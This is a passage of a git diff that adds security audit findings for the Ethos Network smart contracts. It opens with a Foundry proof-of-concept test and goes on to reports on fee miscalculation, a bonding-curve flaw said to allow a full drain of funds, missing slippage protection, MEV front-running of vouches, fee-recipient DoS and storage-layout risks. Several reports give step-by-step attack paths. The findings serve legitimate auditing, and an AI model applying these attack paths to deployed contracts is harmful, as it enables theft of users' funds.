vm.roll(4370000); + users = [BOB, ALICE, CHARLIE]; + contractAddressManager = new ContractAddressManager(); + signatureVerifier = new SignatureVerifier(); + interactionControl = new InteractionControl(OWNER, address(contractAddressManager)); + + EthosAttestation ethosAttestationimpl = new EthosAttestation(); + TransparentUpgradeableProxy ethosAttestationProxy = + new TransparentUpgradeableProxy(address(ethosAttestationimpl), proxyAdmin, ""); + ethosAttestation = EthosAttestation(address(ethosAttestationProxy)); + ethosAttestation.initialize( + OWNER, ADMIN, expectedSigner, address(signatureVerifier), address(contractAddressManager) + ); + EthosProfile ethosProfileimpl = new EthosProfile(); + TransparentUpgradeableProxy ethosProfileProxy = + new TransparentUpgradeableProxy(address(ethosProfileimpl), proxyAdmin, ""); + ethosProfile = EthosProfile(address(ethosProfileProxy)); + ethosProfile.initialize( + OWNER, ADMIN, expectedSigner, address(signatureVerifier), address(contractAddressManager) + ); + EthosReview ethosReviewimpl = new EthosReview(); + TransparentUpgradeableProxy ethosReviewProxy = + new TransparentUpgradeableProxy(address(ethosReviewimpl), proxyAdmin, ""); + ethosReview = EthosReview(address(ethosReviewProxy)); + ethosReview.initialize( + OWNER, ADMIN, expectedSigner, address(signatureVerifier), address(contractAddressManager) + ); + EthosVote ethosVoteimpl = new EthosVote(); + TransparentUpgradeableProxy ethosVoteProxy = + new TransparentUpgradeableProxy(address(ethosVoteimpl), proxyAdmin, ""); + ethosVote = EthosVote(address(ethosVoteProxy)); + ethosVote.initialize(OWNER, ADMIN, expectedSigner, address(signatureVerifier), address(contractAddressManager)); + EthosVouch ethosVouchimpl = new EthosVouch(); + TransparentUpgradeableProxy ethosVouchProxy = + new TransparentUpgradeableProxy(address(ethosVouchimpl), proxyAdmin, ""); + ethosVouch = EthosVouch(address(ethosVouchProxy)); + ethosVouch.initialize( + OWNER, + ADMIN, + expectedSigner, + address(signatureVerifier), + address(contractAddressManager), + feeProtocolAddr, + 500, + 1500, + 2000, + 1000 + ); + rejectETHReceiver = new RejectETHReceiver(); + address[] memory addresses = new address[](8); + addresses[0] = address(ethosAttestation); + addresses[1] = address(ethosProfile); + addresses[2] = address(ethosReview); + addresses[3] = address(ethosVote); + addresses[4] = address(ethosVouch); + addresses[5] = address(interactionControl); + addresses[6] = address(slashing); + addresses[7] = address(graduateAddress); + string[] memory names = new string[](8); + names[0] = attestation; + names[1] = profil; + names[2] = review; + names[3] = vote; + names[4] = vouch; + names[5] = interactionControlName; + names[6] = slasher; + names[7] = graduate; + contractAddressManager.updateContractAddressesForNames(addresses, names); + string[] memory namesInteraction = new string[](5); + namesInteraction[0] = attestation; + namesInteraction[1] = profil; + namesInteraction[2] = review; + namesInteraction[3] = vote; + namesInteraction[4] = vouch; + vm.prank(OWNER); + interactionControl.addControlledContractNames(namesInteraction); + paymentToken1 = new PaymentToken("PAYMENT TOKEN NAME 1", "PTN 1"); + paymentToken2 = new PaymentToken("PAYMENT TOKEN NAME 2", "PTN 2"); + for (uint256 i = 0; i < users.length; i++) { + paymentToken1.mint(users[i], 1_000_000e18); + paymentToken2.mint(users[i], 1_000_000e18); + vm.prank(OWNER); + ethosProfile.inviteAddress(users[i]); + vm.prank(users[i]); + paymentToken1.approve(address(ethosVouch), type(uint256).max); + vm.prank(users[i]); + paymentToken2.approve(address(ethosVouch), type(uint256).max); + vm.prank(users[i]); + ethosProfile.createProfile(1); + vm.deal(address(users[i]), 100_000_000e18); + } + ReputationMarket reputationMarketimpl = new ReputationMarket(); + TransparentUpgradeableProxy reputationMarketProxy = + new TransparentUpgradeableProxy(address(reputationMarketimpl), proxyAdmin, ""); + reputationMarket = ReputationMarket(address(reputationMarketProxy)); + reputationMarket.initialize( + OWNER, ADMIN, expectedSigner, address(signatureVerifier), address(contractAddressManager) + ); + profilIdBySender[BOB] = ethosProfile.profileIdByAddress(BOB); + profilIdBySender[ALICE] = ethosProfile.profileIdByAddress(ALICE); + profilIdBySender[CHARLIE] = ethosProfile.profileIdByAddress(CHARLIE); + subjectId = profilIdBySender[BOB]; + vm.label(BOB, "BOB"); + vm.label(ALICE, "ALICE"); + vm.label(CHARLIE, "CHARLIE"); + vm.label(OWNER, "OWNER"); + vm.label(ADMIN, "ADMIN"); + vm.label(expectedSigner, "expectedSigner"); + vm.label(feeProtocolAddr, "feeProtocolAddr"); + vm.label(slashing, "slashing"); + vm.label(graduateAddress, "graduateAddress"); + vm.label(address(ethosAttestation), "ethosAttestation"); + vm.label(address(ethosProfile), "ethosProfile"); + vm.label(address(ethosReview), "ethosReview"); + vm.label(address(ethosVote), "ethosVote"); + vm.label(address(ethosVouch), "ethosVouch"); + vm.label(address(interactionControl), "interactionControl"); + vm.label(address(reputationMarket), "reputationMarket"); + vm.label(address(contractAddressManager), "contractAddressManager"); + vm.label(address(signatureVerifier), "signatureVerifier"); + vm.label(address(rejectETHReceiver), "rejectETHReceiver"); + vm.label(address(paymentToken1), "paymentToken1"); + vm.label(address(paymentToken2), "paymentToken2"); + vm.prank(ADMIN); + reputationMarket.setAllowListEnforcement(false); + vm.prank(ADMIN); + reputationMarket.setProtocolFeeAddress(feeProtocolAddr); + } + + function test_withdrawGraduatedMarketFundsPOC2() public { + //Charlie create a Deluxe tier market with 5 ether as initial amount. + vm.prank(CHARLIE); + reputationMarket.createMarketWithConfig{value: 87661351900827128508}(1); + //We set the exit fees. + vm.prank(ADMIN); + reputationMarket.setExitProtocolFeeBasisPoints(15); + //BOB buy some votes. + vm.prank(BOB); + reputationMarket.buyVotes{value: 48225414999639815669}(4, false, 585, 6510); + //Bob sell them after that + vm.prank(BOB); + reputationMarket.sellVotes(4, false, 836); + //The graduate address graduate the market 4 which is Charlie's profilId + vm.prank(graduateAddress); + reputationMarket.graduateMarket(4); + //When the graduate address withdraw the funds the call will revert + vm.prank(graduateAddress); + reputationMarket.withdrawGraduatedMarketFunds(4); + } +} +``` + +You should have this output : + +```solidity +[FAIL: revert: ETH transfer failed] test_withdrawGraduatedMarketFundsPOC2() (gas: 1957564) +``` + + +### Mitigation + +The protocol should just change the `sellVotes` code by taking into account the fees : + +```solidity + marketFunds[profileId] -= (fundsReceived + protocolFee); +``` \ No newline at end of file diff --git a/366.md b/366.md new file mode 100644 index 0000000..87a98a4 --- /dev/null +++ b/366.md @@ -0,0 +1,48 @@ +Winning Hotpink Panda + +Medium + +# Fees in `EthosVouch` are taken incorrectly + +### Summary +Upon vouching/ increasing a vouch/ unvouching, fees are applied. Currently, the following formula is used. + +```solidity + function calcFee(uint256 total, uint256 feeBasisPoints) internal pure returns (uint256 fee) { + /* + * Formula derivation: + * 1. total = deposit + fee + * 2. fee = deposit * (feeBasisPoints/10000) + * 3. total = deposit + deposit * (feeBasisPoints/10000) + * 4. total = deposit * (1 + feeBasisPoints/10000) + * 5. deposit = total / (1 + feeBasisPoints/10000) + * 6. fee = total - deposit + * 7. fee = total - (total * 10000 / (10000 + feeBasisPoints)) + */ + return + total - + (total.mulDiv(BASIS_POINT_SCALE, (BASIS_POINT_SCALE + feeBasisPoints), Math.Rounding.Floor)); + } +``` + +However, that formula is flawed as it applies the fee on the `deposit` amount, instead of on the `total` amount. + +### Root Cause + +Wrong formula applied + +### Attack Path +1. Fee is set to 5% +2. A user calls vouch with `msg.value` equal to 1 eth. +3. As the fee percentage is 5%, 0.05 eth should be taken. +4. Current formula however calculates it as `1e18 - (1e18 * 10_000 / (10_000 + 500)) = ~0.0476e18` +5. Protocol takes less fees than supposed to. + +### Affected Code +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L988 + +### Impact +Loss of funds for the protocol + +### Mitigation +Calculate the fee based on the whole `total`. \ No newline at end of file diff --git a/367.md b/367.md new file mode 100644 index 0000000..5180c5a --- /dev/null +++ b/367.md @@ -0,0 +1,56 @@ +Rapid Crepe Scallop + +Medium + +# Votes are sold at a lower price than the current vote price in the market which impacts price transparency + +### Summary + +In the `ReputationMarket::_calculateSell` function, the number of TRUST or DISTRUST votes are decremented by 1 first and then the price of the vote is calculated. This will result in a lower price than the current price of the vote in the market at which the user probably wants to trade. If the configuration is default with not much votes in the market for a profile then this will lower the price quite significantly than the actual price at which the user wanted to sell the votes. + +### Root Cause + +Inside the `ReputationMarket::_calculateSell` function as the number of votes are decremented first therefore the price per vote decreases calculated in the next line (1037). This will result in the user getting less funds than expected. + +Although the user can simulate the sell first and get an idea about the funds one will get. But `simulateSell` also calls the `_calculateSell` function to determine the funds one will receive upon selling votes. + +For eg: in a default configuration market with votes (3 TRUST, 1 DISTRUST) the vote price will be: + +votePrice of TRUST = (3 * 0.01)/4 = 0.0075 + +Now the user wants to sell 2 votes at the current price 0.0075 per vote. + +But the actual price that will be used to sell his first vote will be 0.0066. In total the user will get 0.0066 + 0.005 = 0.0116 minus the protocol fee on top of 0.0116. Ideally the user should be getting 0.0075 + 0.0066 = 0.0141 minus protocol fee. + +Not only this will question the tampering of the market price value at the protocol level but also when the protocol fee is calculated, it will be calculated on a lower amount and thus the protocol will receive less fee. For eg: Ideally the protocol should be getting some x% of 0.0141 but it will get x% of 0.0116. + +ref: https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L1036-L1038 + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +The attack path is natural as the price at which the user will be able to sell their votes will be 1 vote less than the actual price and will cause losses on selling. + +### Impact + +The protocol sells vote at a lower price than the actual which will impact the funds the user will receive upon selling, reputation of the protocol in keeping up with a fair pricing model and will result in receiving lower protocol fees. Since the number of votes will decrease on every sell, the lower the number of votes, the higher will be the volatility on price caused by every single vote sell. + +### PoC + +_No response_ + +### Mitigation + +Calculate the price before updating the number of votes inside the `_calculateSell` function. +```solidity + votePrice = _calcVotePrice(market, isPositive); + fundsReceived += votePrice; + market.votes[isPositive ? TRUST : DISTRUST] -= 1; +``` \ No newline at end of file diff --git a/368.md b/368.md new file mode 100644 index 0000000..492b2d0 --- /dev/null +++ b/368.md @@ -0,0 +1,80 @@ +Winning Hotpink Panda + +High + +# When buying votes, protocol and donation fees are accidentally added to the market funds + +### Summary +```solidity + ( + uint256 votesBought, + uint256 fundsPaid, + , + uint256 protocolFee, + uint256 donation, + uint256 minVotePrice, + uint256 maxVotePrice + ) = _calculateBuy(markets[profileId], isPositive, msg.value); + + _checkSlippageLimit(votesBought, expectedVotes, slippageBasisPoints); + + // Apply fees first + applyFees(protocolFee, donation, profileId); + + // Update market state + markets[profileId].votes[isPositive ? TRUST : DISTRUST] += votesBought; + votesOwned[msg.sender][profileId].votes[isPositive ? TRUST : DISTRUST] += votesBought; + + // Add buyer to participants if not already a participant + if (!isParticipant[profileId][msg.sender]) { + participants[profileId].push(msg.sender); + isParticipant[profileId][msg.sender] = true; + } + + // Calculate and refund remaining funds + uint256 refund = msg.value - fundsPaid; + if (refund > 0) _sendEth(refund); + + // tally market funds + marketFunds[profileId] += fundsPaid; +``` + +As we can see, when buying votes, `_calculateBuy` returns the total amount of funds paid by the user (inclusive of fees) and also separately returns the protocolFee and donation. + +The fees are then distributed both to the protocol and to the donation recipient + +```solidity + function applyFees( + uint256 protocolFee, + uint256 donation, + uint256 marketOwnerProfileId + ) private returns (uint256 fees) { + donationEscrow[donationRecipient[marketOwnerProfileId]] += donation; + if (protocolFee > 0) { + (bool success, ) = protocolFeeAddress.call{ value: protocolFee }(""); + if (!success) revert FeeTransferFailed("Protocol fee deposit failed"); + } + fees = protocolFee + donation; + } +``` + +The problem is that then the amount of funds added to the `marketFunds` is the total amount which is inclusive of the already distributed fees. + +```solidity + // tally market funds + marketFunds[profileId] += fundsPaid; +``` + + + +### Root Cause +Wrong logic + +### Impact +Double spending funds + +### Affected Code +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L480C1-L481C41 + +### Mitigation +Add to market funds `fundsPaid - protocolFee - donation` \ No newline at end of file diff --git a/369.md b/369.md new file mode 100644 index 0000000..0c9ea09 --- /dev/null +++ b/369.md @@ -0,0 +1,40 @@ +Winning Hotpink Panda + +High + +# The bonding curve logic is flawed and allows for full drain of funds + +### Summary +Ideally, to create fair price for the TRUST and DISTRUST votes, protocol should work with a bonding curve logic. However, their current implementation is not a valid bonding curve and allows for any user to fully drain the contract + +```solidity + function _calcVotePrice(Market memory market, bool isPositive) private pure returns (uint256) { + uint256 totalVotes = market.votes[TRUST] + market.votes[DISTRUST]; + return (market.votes[isPositive ? TRUST : DISTRUST] * market.basePrice) / totalVotes; + } +``` + +For the bonding curve to be correct, an invariant which must hold true at all times is that any combination of votes bought (or sold) must cost the exact same amount, disregarding of the order they're bought (or sold) in. + +This invariant does not hold true with the currently used formula and therefore allows for drain of funds as any user can just purchase votes for cheap and sell them more expensively. + +Numerical example in __Attack Path__ + +### Root Cause +Wrong bonding curve logic. + + +### Attack Path +1. Imagine a market where there's only 1 vote TRUST and 1 vote DISTRUST. Base price is 1 eth. +2. User buys 5 votes in the following order T-D-T-T-T. The price for them is `0.5 + 0.33 + 0.5 + 0.6 + 0.66 = 2.59` +3. The user then sells them in the following order D-T-T-T-T. The price they receive back is `0.16 + 0.8 + 0.75 + 0.66 + 0.5 = 2.87` +4. The user is at an instant profit and can repeat the attack endlessly until the drain the whole contract + +### Impact +Loss of funds + +### Affected Code +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L922 + +### Mitigation +Consider using the usual `x * y = k` formula \ No newline at end of file diff --git a/370.md b/370.md new file mode 100644 index 0000000..45621da --- /dev/null +++ b/370.md @@ -0,0 +1,148 @@ +Tame Burgundy Skunk + +High + +# Selling a vote could result in an incorrect marketFund by generating a negative value. + +### Summary + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L522 + +`marketFunds[profileId] -= fundsReceived;` + +This code will revert with an arithmetic error if marketFunds is calculated as a negative value. As a result, the marketFunds[profileId] value will remain unchanged. Consequently, when withdrawing marketFunds, the contract may incur a loss. + +### Root Cause + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L495 + +In sellVotes function, when calculate marketFunds after sell vote, it might generate negative value. +```Solidity +marketFunds[profileId] -= fundsReceived; +emit VotesSold( + profileId, + msg.sender, + isPositive, + votesSold, + fundsReceived, + block.timestamp, + minVotePrice, + maxVotePrice + ); +_emitMarketUpdate(profileId); +``` + +If marketFunds[profileId] is less than fundsReceived, the code will cause an arithmetic error and revert. +As a result, marketFunds will not be updated, and the _emitMarketUpdate function will not be called. +Since marketFunds isn't subtracted, the contract will lose some ETH when withdrawing marketFunds. +Additionally, since the VotesSold event and the _emitMarketUpdate function are not called, the market values will not be reported correctly. + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +- How can marketFunds be decreased? +Let's assume to create market with following config + +DEFAULT_PRICE = 0.01 ether; +initialLiquidity: 2 * DEFAULT_PRICE, +initialVotes: 1, +basePrice: DEFAULT_PRICE +entryProtocolFeeBasisPoints fee : 200 // 2% +donationBasisPoints fee : 100 // 1% +exitProtocolFeeBasisPoints : 200 // 2% + +So Market information is following. +Trust Vote : 1 +Distrust Vote : 1 +MarketFunds : 0.002 ether; + +1. buy 1 distrust vote with 0.006 eth. + + protocolFee = 0.006 * 2 / 100 = 0.00012 + donation = 0.006 * 1 / 100 = 0.00006 + + current votes : trust : 1, distrust : 1 + votePrice = 0.01 * 1 / (1+1) = 0.005 + + fundsPaid = 0.005 + 0.00012 + 0.00006 = 0.00518 + + so marketFunds += 0.00518; + +2. buy 2 trust votes with 0.01 eth. + + protocolFee = 0.01 * 2 / 100 = 0.0002 + donation = 0.01 * 1 / 100 = 0.0001 + + current votes : trust : 1, distrust : 2 + first vote : votePrice = 0.01 * 1 / (1 +2) = 0.0033333 + current votes : trust : 2, distrust : 2 + 2nd vote : votePrice = 0.01 * 2 / (2+2) = 0.005 + + fundsPaid = 0.0033333 + 0.005 + 0.0002 + 0.0001 = 0.0086333 + + so marketFunds +=0.0086333; + +3. After buying, Total marketFunds += 0.0138133 ( = 0.00518 + 0.0086333) + +4. Sell 1 distrust vote + + current votes : trust : 3, distrust : 2 + votePrice = 0.01 * ( 2 - 1 )/ (3 + (2 - 1)) = 0.0025 + + fundsReceived = 0.0025; + protocolFee = fundsReceived * 2 / 100 = 0.00005 + + fundsReceived = 0.0025 - 0.00005 = 0.00245 + + so marketFunds -= 0.00245 + +5. Sell 2 trust votes + + current votes : trust : 3, distrust : 1 + votePrice = 0.01 * (3 - 1) / ( (3-1) + 1) = 0.006666 + fundsReceived = 0.0066666; + current votes : trust : 2, distrust : 1 + votePrice = 0.01 * (2 - 1) / ( (2-1) + 1) = 0.005 + fundsReceived = 0.0066666 + 0.005 = 0.0116666; + + protocolFee = fundsReceived * 2 / 100 = 0.000233332 + + fundsReceived = 0.0116666 - 0.000233332 = 0.011433268 + + so marketFunds -= 0.011433268 + + +6. After selling, Total marketFunds -= 0.013883268 ( = 0.00245 + 0.011433268) + +As a result, after buying and selling + +marketFunds += ( 0.0138133 - 0.013883268) +marketFunds += ( - 0.000069968) + +### Impact + +Voter will earn 0.000069968 eth per every cycle of steps 1 to 6 of the external pre-condition. + +And if steps 1 to 6 of the external pre-condition are repeated multiple times, marketFunds will gradually decrease. + +In the final call to the sellVotes function, before marketFunds is calculated as a negative value, the code marketFunds[profileId] -= fundsReceived will revert, and marketFunds will remain unchanged. + +When withdrawing marketFunds, the contract will pay more, equivalent to the latest fundsReceived that is not reflected on marketFunds. + +And the VotesSold event and the _emitMarketUpdate function in latest sellVotes function are not called, the market values will not be reported correctly. + + +### PoC + +_No response_ + +### Mitigation + +_No response_ \ No newline at end of file diff --git a/371.md b/371.md new file mode 100644 index 0000000..95a8dbb --- /dev/null +++ b/371.md @@ -0,0 +1,52 @@ +Winning Hotpink Panda + +High + +# `sellVotes` does not remove from market funds, the protocol fee and donation amount + +### Summary +```solidity + ( + uint256 votesSold, + uint256 fundsReceived, + , + uint256 protocolFee, + uint256 minVotePrice, + uint256 maxVotePrice + ) = _calculateSell(markets[profileId], profileId, isPositive, amount); + + // update the market state + markets[profileId].votes[isPositive ? TRUST : DISTRUST] -= votesSold; + votesOwned[msg.sender][profileId].votes[isPositive ? TRUST : DISTRUST] -= votesSold; + + // apply protocol fees + applyFees(protocolFee, 0, profileId); + + // send the proceeds to the seller + _sendEth(fundsReceived); + // tally market funds + marketFunds[profileId] -= fundsReceived; +``` + +Upon selling, the `_calculateSell` returns us the `fundsReceived` amount. This is the amount of funds the user has received. This is post-fees (does not include them). + +As we can see `marketFunds` only deducts `fundsReceived`, therefore, does not deduct for the amount of funds going out as fees. As the funds are actually out of the market, this results in a double-spend upon market graduation. + +### Root Cause +Wrong logic + +### Attack Path +1. First vote is bought at 0.5eth. Market funds are increased by 0.5 eth. +2. Then, the user sells that same vote. Due to fees, `fundsReceived == 0.45eth`. +3. The market only deducts 0.45 eth from its funds. +4. The market sends a total of 0.5 eth across the selling user, the protocol fee recipient and the donation recipient. + +### Impact +Double spending. + +### Affected Code +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L522 + +### Mitigation + +Deduct `fundsReceived + donation + protocolFee` \ No newline at end of file diff --git a/372.md b/372.md new file mode 100644 index 0000000..f42c4f6 --- /dev/null +++ b/372.md @@ -0,0 +1,39 @@ +Rough Plum Giraffe + +Medium + +# Admin can set fee percentages so that their sum can be as high as 100% for vouchers + +### Summary + +MAX_TOTAL_FEES is set as a constant to 10000 (100%) which can cause vouchers to pay as much as 100% of their vouching amount as fees, as admins set different fees individually and the only limitation is that their sum will be at max MAX_TOTAL_FEES. + +This is an issue since the contest’s README clearly states that “Maximum total fees cannot exceed 10%”. + +### Root Cause + +In the definition of the [MAX_TOTAL_FEES constant state variable](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L120), this variable is hardcoded to the value 10000 (100%). + +### Internal pre-conditions + +1. Admin needs to set either of the fees in the protocol, or a combination of them, so that their sum increases above 10%. + +### External pre-conditions + +None. + +### Attack Path + +1. Admin sets either of the fees in the protocol, or a combination of them, so that their sum equals more than 10%. + +### Impact + +Vouchers will need to transfer more ETH when they vouch, or receive less ETH when they unvouch, due to increased fee payments. + +### PoC + +_No response_ + +### Mitigation + +Change MAX_TOTAL_FEES to 1000 instead of 10000. \ No newline at end of file diff --git a/373.md b/373.md new file mode 100644 index 0000000..8a20768 --- /dev/null +++ b/373.md @@ -0,0 +1,43 @@ +Passive Jetblack Gazelle + +Medium + +# Front-Running Vulnerability + +### Summary + +An author might exploit a timing vulnerability by front-running the unvouch function after the slash function is called, allowing them to archive the vouch and avoid slashing penalties. + +### Root Cause + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L530 + +The vulnerability arises from the ability to execute transactions in a specific order, where the author can prioritize their unvouch transaction to be processed before the slash transaction, using higher gas fees to influence transaction ordering. + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +Slash Initiation: The slashing process is triggered due to a breach of contract rules or unethical behavior. +Front-Running: The author submits an unvouch transaction with a higher gas fee, ensuring it is processed before the slashing transaction. +Archiving: The unvouch function executes, archiving the vouch and preventing the slashing from taking effect. + + +### Impact + + +Penalty Evasion: Authors can withdraw their stake and avoid financial penalties, undermining the contract's deterrent mechanisms. + +### PoC + +_No response_ + +### Mitigation + +_No response_ \ No newline at end of file diff --git a/374.md b/374.md new file mode 100644 index 0000000..9157007 --- /dev/null +++ b/374.md @@ -0,0 +1,72 @@ +Winning Hotpink Panda + +High + +# There's no slippage protection when selling votes + +### Summary +As the vote price is constantly changing based on the vote buys/ sells, `buyVotes` has correctly implemented a slippage protection, to make sure users do receive less than what they expect. However, the same logic is not implemented for when the user is selling their votes + +```solidity + function sellVotes( + uint256 profileId, + bool isPositive, + uint256 amount + ) public whenNotPaused activeMarket(profileId) nonReentrant { + _checkMarketExists(profileId); + + // calculate the amount of votes to sell and the funds received + ( + uint256 votesSold, + uint256 fundsReceived, + , + uint256 protocolFee, + uint256 minVotePrice, + uint256 maxVotePrice + ) = _calculateSell(markets[profileId], profileId, isPositive, amount); + + // update the market state + markets[profileId].votes[isPositive ? TRUST : DISTRUST] -= votesSold; + votesOwned[msg.sender][profileId].votes[isPositive ? TRUST : DISTRUST] -= votesSold; + + // apply protocol fees + applyFees(protocolFee, 0, profileId); + + // send the proceeds to the seller + _sendEth(fundsReceived); + // tally market funds + marketFunds[profileId] -= fundsReceived; + emit VotesSold( + profileId, + msg.sender, + isPositive, + votesSold, + fundsReceived, + block.timestamp, + minVotePrice, + maxVotePrice + ); + _emitMarketUpdate(profileId); + } +``` + +For this reason, due to price spikes and/or MEV, user might actually receive significantly less funds than expected, resulting in a direct loss of funds. + +### Root Cause +Lack of slippage protection + +### Attack Path +1. User calls `sellVotes` +2. Right before their tx executes, a whale dumps a lot of votes, dropping the price significantly. +3. User's tx executes at price significantly lower than usual +4. After the user's tx, price goes back to normal +5. User is at a loss. + +### Affected Code +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L495 + +### Impact +Loss of funds + +### Mitigation +Add slippage protection to `sellVotes` \ No newline at end of file diff --git a/375.md b/375.md new file mode 100644 index 0000000..391beae --- /dev/null +++ b/375.md @@ -0,0 +1,62 @@ +Winning Hotpink Panda + +Medium + +# Vouch rewards are susceptible to MEV attacks + +### Summary +When a vouching for someone, the user who vouches has to pay a fee to all previous vouchers. This is only not the case for the first voucher, as there are no previous vouchers to distribute the funds to. + +```solidity + function _rewardPreviousVouchers( + uint256 amount, + uint256 subjectProfileId + ) internal returns (uint256 amountDistributed) { + uint256[] storage vouchIds = vouchIdsForSubjectProfileId[subjectProfileId]; + uint256 totalVouches = vouchIds.length; + + // Calculate total balance of all active vouches + uint256 totalBalance; + for (uint256 i = 0; i < totalVouches; i++) { + Vouch storage vouch = vouches[vouchIds[i]]; + // Only include active (not archived) vouches in the distribution + if (!vouch.archived) { + totalBalance += vouch.balance; + } + } + + // If this is the first voucher, do not distribute rewards + if (totalBalance == 0) { + return totalBalance; + } +``` + +This leads to 2 conclusions: +- First voucher never has to pay a fee. +- First voucher will receive a fee from the 2nd voucher only based on the 2nd voucher's amount. + +This is highly susceptible to MEV attacks described in _Attack Path_ + +### Root Cause + +Wrong logic implemented + +### Attack Path +1. Currently, profile X has 0 vouchers +2. Voucher is about to vouch for 1 ETH. +3. Attacker front-runs the voucher and does a min vouch for 0.001eth. +4. Voucher's tx comes through and pays 1% fee (0.01 ETH) to the attacker +5. Attacker can withdraw for a profit. + + +And if we disregard front-running as a strategy, it would be highly profitable for any MEV bot to just do a min vouch instantly on just verified profiles linked to known addresses of public figures. + +### Impact +Loss of funds + +### Affected Code +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L697 + +### Mitigation + +Fix is non-trivial \ No newline at end of file diff --git a/376.md b/376.md new file mode 100644 index 0000000..d6f98bc --- /dev/null +++ b/376.md @@ -0,0 +1,42 @@ +Winning Hotpink Panda + +Medium + +# Wrong rounding in `_calcVotePrice` will lead to insolvency + +### Summary +A vote's price gets calculated by the following formula + +```solidity + function _calcVotePrice(Market memory market, bool isPositive) private pure returns (uint256) { + uint256 totalVotes = market.votes[TRUST] + market.votes[DISTRUST]; + return (market.votes[isPositive ? TRUST : DISTRUST] * market.basePrice) / totalVotes; + } +``` + +As we can see the vote's price is rounded down (due to Solidity's built-in rounding down). Considering the formula calculates the true price of a vote, the actual paid one would be just slightly lower. Given enough bought votes, rounding down will be enough wei. + +Then, depending on the order they're sold, the rounding down on each step, might be lower. This would cause more funds to be sent during sales, than were taken initially. This would then break the following invariant from the ReadMe +> They must never pay out the initial liquidity deposited. + +Note: currently, the bonding curve formula is flawed, so issue cannot be showcased on itself. However, the formula being broken and not rounding up are two separate issues, hence why I've reported them as such. + + +### Root Cause + +Rounding in wrong direction + +### Attack Path +1. User buys a certain combination of T/D votes in a certain order. Due to rounding down they purchase them for 5 wei less than the true price +2. User then sells them in a different order, due to which, less rounding down occurs, therefore they're sold at higher price than the one bought at. +3. A few wei of market's initial liquidity is distributed to users. + +### Impact +Distributing initial liquidity. + +### Affected Code +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L922 + +### Mitigation + +Round up within the vote's price formula \ No newline at end of file diff --git a/377.md b/377.md new file mode 100644 index 0000000..7bc8c3f --- /dev/null +++ b/377.md @@ -0,0 +1,38 @@ +Winning Hotpink Panda + +Medium + +# Fee recipient can block all vouches/ unvouches/ slashes + +### Summary +From the contest's readMe: + +> Fee receiver should not have any additional access (beyond standard users) + +However, within each of `vouch`, `unvouch`, `slash`, a fee is sent to the `feeRecipient` + +```solidity + function _depositProtocolFee(uint256 amount) internal { + (bool success, ) = protocolFeeAddress.call{ value: amount }(""); + if (!success) revert FeeTransferFailed("Protocol fee deposit failed"); + } +``` + +As it is sent in the form of native eth and the return value is checked, if the `feeRecipient` makes its receive method revert, it will block all `vouch`, `unvouch`, `slash` calls. This breaks the intended invariant that the fee receiver must not have any additional access beyond what a regular user has. + + +### Root Cause +Fee recipient can DoS the protocol. + + +### Attack Path +1. Fee recipient makes its `receive` method revert +2. All `vouch`, `unvouch` and `slash` calls are DoS'd + +### Impact + +DoS, broken invariant + + +### Mitigation +Add the recipient's funds to an escrow. \ No newline at end of file diff --git a/378.md b/378.md new file mode 100644 index 0000000..e21f8b5 --- /dev/null +++ b/378.md @@ -0,0 +1,56 @@ +Acidic Lemonade Vulture + +Medium + +# Corruptible Upgradability Pattern + +### Summary + +The storage layouts of `EthosVouch.sol` and `ReputationMarket.sol` may become corrupted during upgrades due to inconsistent upgradability patterns. + +### Root Cause + +The project leverages OpenZeppelin version 5, which adopts a structured storage schema. This schema ensures that each base contract manages its own storage slot, organizing all variables required for its functionality within a dedicated structure. While this approach is robust, the project deviates from it by introducing custom base contracts that do not adhere to the structured storage pattern. Instead, these contracts define independent storage variables at the contract level. + +The issue is further compounded by the use of complex inheritance hierarchies that rely heavily on multiple inheritance. This design choice, coupled with the project's reliance on proxy contracts, makes updates to base contracts inherently risky and difficult to execute. Additionally, the use of a mix of non-upgradable and upgradable contracts exacerbates the problem, as inconsistencies in storage allocation can lead to data corruption. + +### Internal Pre-Conditions + +_No response_ + +### External Pre-Conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +The fragmented upgradeability model increases the risk of storage collisions and data inconsistencies during contract updates. These issues may result in partial or complete corruption of critical data stored in the proxy contracts’ storage. + +### PoC + +The following inheritance diagram illustrates the structure for `EthosVouch`. The issues in `ReputationMarket` follow a similar pattern. + +[EthosVouch.sol](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/EthosVouch.sol#L67-L67) + +```mermaid +graph BT; + classDef nostruct fill:#ffcc00; + classDef struct fill:#66cc99; + EthosVouch:::nostruct-->AccessControl:::nostruct + EthosVouch:::nostruct-->UUPSUpgradeable + EthosVouch:::nostruct-->ReentrancyGuard + AccessControl:::nostruct-->AccessControlEnumerableUpgradeable:::struct + AccessControl:::nostruct-->PausableUpgradeable:::struct + AccessControl:::nostruct-->SignatureControl:::nostruct + 